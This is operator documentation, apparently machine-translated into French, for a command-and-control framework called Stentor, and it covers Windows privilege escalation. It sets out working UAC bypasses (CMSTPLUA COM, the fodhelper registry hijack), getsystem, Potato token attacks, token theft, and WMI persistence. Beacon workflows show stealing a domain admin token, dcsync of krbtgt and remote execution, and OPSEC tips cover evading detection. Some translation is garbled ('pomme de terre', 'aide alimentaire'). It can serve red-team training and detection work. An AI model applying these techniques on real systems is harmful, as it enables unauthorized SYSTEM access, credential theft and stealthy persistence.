Augmentation des privilèges¶
L'élévation des privilèges dans Stentor suit le modèle d'intégrité Windows : Moyen (utilisateur standard) → Élevé (administrateur) → SYSTÈME (niveau du noyau). Les techniques de contournement de l'UAC relient Moyen à Élevé sans déclencher d'invite de consentement. getsystem passe de High à SYSTEM via l'usurpation d'identité de canal nommé ou la duplication de jeton.
graph LR
A["Medium Integrity<br/>(Standard User)"] -->|UAC Bypass| B["High Integrity<br/>(Administrator)"]
B -->|getsystem| C["SYSTEM<br/>(NT AUTHORITY)"]
style A fill:#f59e0b,color:#000
style B fill:#3b82f6,color:#fff
style C fill:#ef4444,color:#fff ATTAQUE À ONGLET&CK
L'escalade de privilèges correspond à [T1548.002 - Contourner le contrôle de compte d'utilisateur] (PHTOKEN_0) pour les contournements UAC, [T1134.001 - Usurpation d'identité/vol de jeton] (PHTOKEN_1) pour la manipulation de jeton et [T1543.003 - Service Windows] (PHTOKEN_2) pour l'escalade basée sur le service.
Référence des commandes¶
| Commande | Syntaxe | Technique | De → À | Impact de l'OPSEC | ATTAQUE À ONGLET&CK |
|---|---|---|---|---|---|
elevate check | elevate check | Inspection des jetons | — | Aucun | T1033 |
elevate uac-cmlua | elevate uac-cmlua <listener> | Surnom CMSTPLUA COM | Moyen → Élevé | Faible | T1548.002 |
elevate fodhelper | elevate fodhelper <listener> | Détournement de registre | Moyen → Élevé | Moyen | T1548.002 |
elevate uac-rpc-dom | elevate uac-rpc-dom <listener> | IRpcOptionsDCOM | Moyen → Élevé | Faible | T1548.002 |
elevate uac-token-duplication | elevate uac-token-duplication <listener> | Duplication de jetons | Moyen → Élevé | Faible | T1134.001 |
elevate svc-exe | elevate svc-exe <listener> | Service binaire | Élevé → SYSTÈME | Élevé | T1543.003 |
getsystem | getsystem | Pipe nommée/jeton dup | Élevé → SYSTÈME | Moyen | T1134.001 |
runasadmin | runasadmin <exploit> <command> | Contournement UAC + commande | Moyen → Élevé | Varie | T1548.002 |
getuid | getuid | Requête de jeton | — | Aucun | T1033 |
getprivs | getprivs | Ajustement des privilèges | — | Aucun | T1134.002 |
steal_token | steal_token <pid> | Vol de jetons | — | Faible | T1134.001 |
make_token | make_token <domain\user> <password> | Jeton de connexion | — | Faible | T1134.002 |
rev2self | rev2self | Annuler l'usurpation d'identité | — | Aucun | T1134.001 |
Vérification des privilèges actuels¶
Avant de tenter une escalade, vérifiez le contexte actuel et le niveau d’intégrité.
getuid¶
Afficher l'identité actuelle du beacon (domaine\utilisateur).
obtenir des privilèges¶
Activez tous les privilèges disponibles sur le jeton actuel. Répertorie les privilèges activés après ajustement.
Interprétation des getprivs
Un jeton d’intégrité moyenne possède généralement 5 à 7 privilèges. Un jeton élevé (High) affichera SeDebugPrivilege, SeImpersonatePrivilege, SeTcbPrivilege et autres. Si SeDebugPrivilege est présent, vous disposez déjà d’une intégrité élevée.
chèque d'élévation¶
Vérifiez le niveau d’intégrité actuel et l’état d’élévation. Indique si le processus s'exécute avec un niveau d'intégrité élevé et à quel niveau d'intégrité (Faible, Moyen, Élevé, Système).
Techniques de contournement de l'UAC¶
Les techniques de contournement de l'UAC élèvent l'intégrité de Moyenne à Élevée sans déclencher d'invite de consentement de l'UAC. Chaque technique génère une nouvelle beacon élevée sur le listener spécifié.
OPSEC
Toutes les techniques de contournement de l'UAC nécessitent une session utilisateur interactive (Session 1+). Ils échoueront à partir de la session 0 (contexte SYSTÈME/service) car ils interagissent avec le bureau ou le registre de l'utilisateur connecté.
Comparaison OPSEC¶
| Méthode | Artefacts du registre | Génération de processus | Utilisation de COM | Risque de détection |
|---|---|---|---|---|
| CMSTPLUA | Aucun | cmd.exe (caché) | Surnom d'élévation | Faible |
| aide alimentaire | clé ms-settings (nettoyée) | fodhelper.exe + cmd.exe | Aucun | Moyen |
| uac-rpc-dom | Aucun | Varie | IRpcOptionsDCOM | Faible |
| duplication de jeton UAC | Aucun | Processus élevé | Aucun | Faible |
élever uac-cmlua¶
Contournement du surnom d’élévation CMSTPLUA COM (T1548.002). Le contournement UAC le plus fiable : aucun artefact de registre, aucune suppression de fichier.
Comment ça marche : Instancie l'objet COM CMSTPLUA ({3E5FC7F9-9A51-4367-9063-A120244FBEC7}) à l'aide du surnom d'élévation COM, qui est sur liste blanche pour l'élévation automatique. Appelle ICMLuaUtil::ShellExec pour exécuter le payload du beacon avec une intégrité élevée. Le surnom d’élévation contourne l’invite de consentement, car CMSTPLUA figure dans la liste autorisée d’élévation automatique de Windows.
=== "Coquille"
```
beacon> elevate uac-cmlua https-listener
[*] UAC bypass via CMSTPLUA -- elevated execution started
[+] New beacon: WORKSTATION\LabUser (High Integrity)
```
=== "API"
```bash
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "elevate uac-cmlua https-listener"}'
```
!!! warning "OPSEC"
**Artefacts médico-légaux :** Activation du surnom d'élévation COM enregistrée dans le journal des événements COM+. `cmd.exe` est né en tant qu'enfant du substitut COM avec `SW_HIDE`. Aucune modification du registre. Aucune perte de fichier (payload injectée via une technique d'injection standard).
**MITRE ATT&CK :** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) — Contourner le contrôle de compte d'utilisateur
!!! tip "Recommandé"
CMSTPLUA est le contournement UAC préféré pour la plupart des engagements. Il présente l'empreinte médico-légale la plus faible (pas d'écriture dans le registre, pas de suppression de fichiers) et la fiabilité la plus élevée sur toutes les versions de Windows.
élever fodhelper¶
Contournement de l'UAC basé sur le registre via fodhelper.exe (T1548.002). Détourne le gestionnaire de shell ms-settings.
Comment ça marche : Crée HKCU\Software\Classes\ms-settings\shell\open\command avec DelegateExecute défini sur une chaîne vide et la valeur par défaut pointant vers le payload du beacon. Appelle fodhelper.exe, qui est un binaire à élévation automatique qui lit cette clé de registre et exécute la commande spécifiée avec une intégrité élevée. Les clés de registre sont nettoyées immédiatement après l'exécution.
OPSEC
Artefacts médico-légaux : Création de clé de registre à HKCU\Software\Classes\ms-settings\shell\open\command (nettoyée après l'exécution mais peut être capturée par l'ID d'événement Sysmon 12/13). Création du processus de fodhelper.exe suivi du processus enfant cmd.exe.
MITRE ATT&CK : T1548.002 — Contourner le contrôle de compte d'utilisateur
élever uac-rpc-dom¶
Contournement de l'UAC basé sur le domaine IRpcOptions (T1548.002). Utilise la manipulation de l'interface COM pour modifier le contexte d'activation.
Comment ça marche : Manipule l'interface COM IRpcOptions pour modifier le contexte d'activation DCOM, permettant à l'appelant d'invoquer des objets COM à élévation automatique sans le flux d'invite UAC normal. Cette technique exploite la façon dont Windows résout le domaine d'activation pour les objets COM.
OPSEC
Artefacts médico-légaux : Événements d'activation DCOM. Aucun artefact de registre. Aucun fichier ne tombe.
MITRE ATT&CK : T1548.002 — Contourner le contrôle de compte d'utilisateur
élever la duplication du jeton uac¶
Contournement UAC de duplication de jeton (T1134.001 + T1548.002). Duplique un jeton élevé à partir d’un processus privilégié.
Comment ça marche : Recherche un processus exécuté avec un jeton élevé (haute intégrité), ouvre son jeton de processus avec PROCESS_QUERY_INFORMATION, duplique le jeton via DuplicateTokenEx et l'utilise pour générer un nouveau processus. Le processus généré hérite du jeton élevé et s'exécute avec une intégrité élevée.
OPSEC
Artéfacts médico-légaux : OpenProcess sur un processus élevé (ID d'événement Sysmon 10). Événements de duplication de jetons. Création de processus avec jeton dupliqué.
MITRE ATT&CK : T1134.001 — Manipulation du jeton d'accès : usurpation d'identité/vol de jeton, T1548.002 — Contourner le contrôle des comptes d'utilisateurs
Getsystem (Élevé → SYSTÈME)¶
Élevez de Haute intégrité (administrateur) à NT AUTHORITY\SYSTEM. Nécessite un beacon déjà élevée.
obtenir le système¶
Usurpation d’identité de canal nommé avec création de service (T1134.001, T1543.003). Deux techniques disponibles : le mode automatique essaie les deux.
Comment ça marche (Technique 1 — Named Pipe) :
- Crée un canal nommé (
\\.\pipe\stentor_XXXX) avec un nom aléatoire - Crée un service Windows temporaire dont le chemin binaire écrit dans le canal (
cmd.exe /c echo ok > \\.\pipe\stentor_XXXX) - Démarre le service - le service s'exécute en tant que SYSTEM et se connecte au canal
- Emprunte l'identité du client de canal nommé via
ImpersonateNamedPipeClient, obtenant le jeton SYSTEM - Duplique le jeton SYSTEM et l'applique au thread de beacon
- Supprime le service temporaire et ferme le canal
Comment ça marche (Technique 2 — Duplication de jetons) :
- Active
SeDebugPrivilegesur le jeton de processus actuel - Énumère les processus pour trouver un processus SYSTEM (essaye
winlogon.exe,lsass.exe,services.exedans l'ordre) - Ouvre le jeton de processus cible avec
TOKEN_DUPLICATE - Duplique le jeton via
DuplicateTokenExpour l'usurpation d'identité - Applique le jeton SYSTEM au thread de beacon
OPSEC
Artefacts médico-légaux (Technique 1) : Création de service temporaire (ID d'événement 7045 — nom du service stentorsvc_XXXX). Création de canal nommé. Le service est supprimé après utilisation, mais l'entrée du journal des événements persiste.
Artefacts médico-légaux (Technique 2) : OpenProcess sur le processus SYSTEM (ID d'événement Sysmon 10). Utilisation de SeDebugPrivilege. Duplication de jetons.
MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton, T1543.003 — Créer ou modifier un processus système : service Windows
Prérequis
getsystem nécessite Haute intégrité (administrateur élevé). Le gestionnaire côté serveur valide le niveau d'intégrité avant d'envoyer la commande. Si votre intégrité est moyenne, utilisez d'abord un contournement UAC.
Escalade basée sur les services¶
élever svc-exe¶
Exécution binaire du service (T1543.003). Crée un service Windows qui exécute un payload de beacon en tant que SYSTEM.
Comment ça marche : Dépose un service EXE sur le disque, crée un service Windows pointant vers ce binaire et démarre le service. Le service s'exécute sous le nom LocalSystem et exécute le payload du beacon, qui se reconnecte en tant que nouvelle beacon de niveau SYSTÈME. Plus persistant que getsystem mais laisse plus d'artefacts.
OPSEC
Artefacts médico-légaux : Le binaire du service a été déposé sur le disque. Création de service (ID d'événement 7045). Démarrage du service (ID d’événement 7036). Le binaire du service est un EXE de beacon autonome — une surface de détection plus élevée que getsystem.
MITRE ATT&CK : T1543.003 — Créer ou modifier un processus système : service Windows
Augmentation des privilèges sur les pommes de terre¶
Les techniques Potato exploitent Windows COM/DCOM et l'usurpation d'identité de jeton pour passer des comptes de service (SeImpersonatePrivilege) à NT AUTHORITY\SYSTEM. Il s'agit de techniques de remontée du service vers le SYSTÈME (à distinguer du contournement UAC qui est de l'utilisateur à l'administrateur).
Prérequis
Toutes les techniques de pommes de terre nécessitent SeImpersonatePrivilege. Ceci est présent par défaut sur les comptes de service, les identités IIS AppPool, SQL Server et d'autres contextes de service Windows. Utilisez getprivs pour vérifier.
élever la patate douce¶
Patate douce (T1134.001). Abuse du service d'activation COM/DCOM pour capturer un jeton SYSTEM via un faux résolveur OXID, puis crée un nouveau processus en tant que SYSTEM en utilisant CreateProcessAsUserW.
OPSEC
- Risque élevé -- L'activation d'objets COM et la manipulation de jetons génèrent plusieurs entrées de journal d'événements
- L'usurpation d'identité de canal nommé crée un serveur de canal (détectable via l'événement Sysmon 17/18)
- Utilise l'assistant
checkSeImpersonatePrivilegepartagé etCreateProcessAsUserWpour la création de processus basés sur des jetons - MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton
élever la pomme de terre divine¶
DieuPomme de terre (T1134.001). Utilise un chemin d'abus COM/DCOM différent via l'interaction du service RpcSs pour obtenir un jeton SYSTEM. Fonctionne sur Windows Server 2019+ où SweetPotato peut être corrigé.
OPSEC
- Risque élevé – similaire à SweetPotato avec des artefacts d'interaction COM/DCOM
- Usurpation d'identité de jeton via
DuplicateTokenEx+CreateProcessAsUserW - MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton
élever une pomme de terre juteuse¶
JuicyPotatoNG (T1134.001). Force brute 12 CLSID à intervalles de 500 ms pour trouver un serveur COM exploitable pour la capture de jetons. Le plus fiable sur différentes versions de Windows mais le plus lent (jusqu'à 6 secondes pour la force brute CLSID).
OPSEC
- Risque élevé – force brute 12 CLSID qui génèrent plusieurs événements d'activation COM
- Chaque tentative CLSID prend 500 ms (jusqu'à 6 secondes au total)
- L'usurpation d'identité de canal nommé réutilise l'infrastructure de procédure de canal nommé
getsystem - MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton
Choisir une technique de pomme de terre
| Technique | Vitesse | Compatibilité | Idéal pour |
|---|---|---|---|
sweetpotato | Rapide | Win10/Serveur 2016+ | Premier choix – exécution la plus rapide |
godpotato | Rapide | Serveur 2019+ | Lorsque SweetPotato échoue (environnements corrigés) |
juicypotatong | Lent (6s) | Le plus large | Dernier recours : force brute sur plusieurs CLSID |
Exécuter en tant qu'administrateur¶
runasadmin¶
Exécutez une commande arbitraire avec le contournement UAC. Contrairement à elevate (qui génère une nouvelle beacon), runasadmin exécute une commande spécifique avec des privilèges élevés.
Syntaxe : runasadmin <exploit> <command>
Exploits pris en charge : uac-cmlua, uac-rpc-dom, uac-token-duplication, fodhelper
Quand utiliser
Utilisez runasadmin lorsque vous devez exécuter une seule commande élevée sans générer de beacon complète. Pour un accès élevé persistant, utilisez plutôt elevate.
Manipulation des jetons¶
La manipulation de jetons permet au beacon d'usurper l'identité des contextes de sécurité d'autres utilisateurs pour les opérations réseau, les mouvements latéraux et les changements de privilèges.
voler_jeton¶
Voler et usurper l'identité d'un jeton dans un processus en cours d'exécution (T1134.001).
Comment ça marche : Ouvre le descripteur de processus cible, ouvre son jeton de processus avec TOKEN_DUPLICATE | TOKEN_QUERY, duplique le jeton via DuplicateTokenEx en tant que jeton d'usurpation d'identité et l'applique au thread de beacon via ImpersonateLoggedOnUser.
OPSEC
Nécessite SeDebugPrivilege pour le vol de jetons entre sessions. OpenProcess sur le PID cible génère l'ID d'événement Sysmon 10. Les événements de duplication de jeton et d'usurpation d'identité sont enregistrés.
MITRE ATT&CK : T1134.001 — Manipulation du jeton d'accès : usurpation d'identité/vol de jeton
make_token¶
Créez un jeton de connexion réseau pour un utilisateur spécifié (T1134.002). Le jeton est créé à l'aide de LOGON32_LOGON_NEW_CREDENTIALS, ce qui signifie qu'il affecte uniquement les opérations réseau — l'identité locale (getuid) reste inchangée.
Identité réseau uniquement
make_token ne change pas votre identité locale. getuid affichera toujours l'utilisateur d'origine. Les nouveaux identifiants ne sont utilisés que pour l'authentification réseau (SMB, LDAP, WinRM, etc.). C’est idéal pour les mouvements latéraux avec des informations d’identification récoltées.
OPSEC
LogonUserW avec LOGON32_LOGON_NEW_CREDENTIALS génère l'ID d'événement 4624 (Type de connexion 9 — NewCredentials). Empreinte médico-légale minimale puisqu'aucune authentification réseau n'a lieu jusqu'à ce que le jeton soit réellement utilisé.
MITRE ATT&CK : T1134.002 — Manipulation du jeton d'accès : créer un processus avec un jeton
rev2self¶
Abandonnez toute usurpation d’identité et revenez à l’identité d’origine du beacon.
Toujours rev2self
Après avoir terminé les opérations avec un jeton volé ou créé, appelez toujours rev2self pour revenir à l'identité d'origine du beacon. Les jetons d'emprunt d'identité persistants peuvent provoquer un comportement inattendu avec les commandes suivantes.
Magasin de jetons¶
Le magasin de jetons permet de gérer plusieurs jetons volés sans se faire passer immédiatement pour eux. Les jetons sont stockés par identifiant et peuvent être activés sur demande.
token_store voler¶
Volez un jeton d’un processus et stockez-le sans usurper l’identité.
utilisation de token_store¶
Usurer l'identité d'un jeton stocké par ID.
spectacle token_store¶
Répertoriez tous les jetons stockés avec leurs identifiants, utilisateurs et PID source.
beacon> token_store show
[*] Stored tokens:
ID User Source PID
1 DOMAIN\AdminUser 1234
2 DOMAIN\SQLService 5678
3 NT AUTHORITY\SYSTEM 4
token_store supprimer¶
Supprimez un jeton stocké spécifique par ID.
token_store supprimer_all¶
Effacez tous les jetons stockés.
Flux de travail du magasin de jetons
Le magasin de jetons est utile lorsque vous avez identifié plusieurs jetons de grande valeur dans différents processus. Stockez-les tous d'abord avec token_store steal, puis basculez entre les identités en utilisant token_store use et rev2self selon les besoins pour différentes opérations.
Flux de travail des opérateurs¶
Flux de travail de contournement de l'UAC¶
Passer de l’intégrité moyenne à élevée :
beacon> getuid
[*] WORKSTATION\LabUser
beacon> elevate check
[*] Process is running with standard user privileges (Integrity: Medium)
beacon> elevate uac-cmlua https-listener
[*] UAC bypass via CMSTPLUA -- elevated execution started
# Switch to the new elevated beacon
beacon> getuid
[*] WORKSTATION\LabUser
beacon> elevate check
[*] Process is running with elevated privileges (Integrity: High)
Flux de travail complet du SYSTÈME¶
Passez de Medium à SYSTEM en deux étapes :
# Step 1: Medium → High (UAC bypass)
beacon> elevate uac-cmlua https-listener
[+] New beacon: WORKSTATION\LabUser (High Integrity)
# Step 2: High → SYSTEM (getsystem)
beacon> getsystem
[*] Impersonating NT AUTHORITY\SYSTEM [via named pipe impersonation]
beacon> getuid
[*] NT AUTHORITY\SYSTEM
Flux de travail pour le vol de jetons¶
Usurer l'identité d'un autre utilisateur pour les opérations réseau :
# Find interesting processes
beacon> ps
[*] PID PPID Name User
1234 456 explorer.exe DOMAIN\DomainAdmin
5678 456 sqlservr.exe DOMAIN\SQLService
# Steal the domain admin token
beacon> steal_token 1234
[*] Impersonating DOMAIN\DomainAdmin (stolen from PID 1234)
# Perform privileged network operations
beacon> ls \\dc01\c$
[*] Listing: \\dc01\c$\...
# Revert when done
beacon> rev2self
[*] Reverted to original token
Flux de travail multi-identités¶
Utilisez le magasin de jetons pour gérer plusieurs identités :
# Harvest tokens from multiple processes
beacon> token_store steal 1234
[*] Token stored as ID 1 (DOMAIN\DomainAdmin)
beacon> token_store steal 5678
[*] Token stored as ID 2 (DOMAIN\SQLService)
# Use admin token for AD operations
beacon> token_store use 1
beacon> dcsync /user:krbtgt
# Switch to SQL service for database access
beacon> rev2self
beacon> token_store use 2
beacon> remote-exec wmi sql01 "whoami"
# Clean up
beacon> rev2self
beacon> token_store remove_all
Persistance de l’abonnement aux événements WMI¶
Créez des abonnements aux événements WMI pour une exécution de code persistante lors des redémarrages. Utilise l'interface COM IWbemServices pour installer les objets __EventFilter, CommandLineEventConsumer et __FilterToConsumerBinding dans l'espace de noms root\subscription WMI.
persister wmi¶
Syntaxe : persist wmi <name> <command> [trigger]
| Paramètre | Type | Obligatoire | Description |
|---|---|---|---|
name | chaîne | Oui | Nom de l'abonnement (utilisé pour le nettoyage) |
command | chaîne | Oui | Commande à exécuter sur le déclencheur |
trigger | chaîne | Non | Requête d'événement WQL (par défaut : démarrage du système) |
Suppression :
beacon> persist wmi_remove StentorBackup
[*] WMI subscription 'StentorBackup' removed (filter + consumer + binding)
OPSEC
- Risque moyen – Les abonnements WMI sont un mécanisme de persistance bien connu
- Crée des objets dans l'espace de noms
root\subscription(interrogeable viaGet-WMIObject) - ID d'événement 5861 (activité WMI) enregistré lorsque l'abonnement se déclenche
- Utilise l'interface COM
IWbemServices(réutilise l'infrastructure COM vtable existante du module de tâches planifiées) - L'abonnement survit aux redémarrages et s'exécute en tant que SYSTEM
- MITRE ATT&CK : T1546.003 — Exécution déclenchée par un événement : abonnement aux événements WMI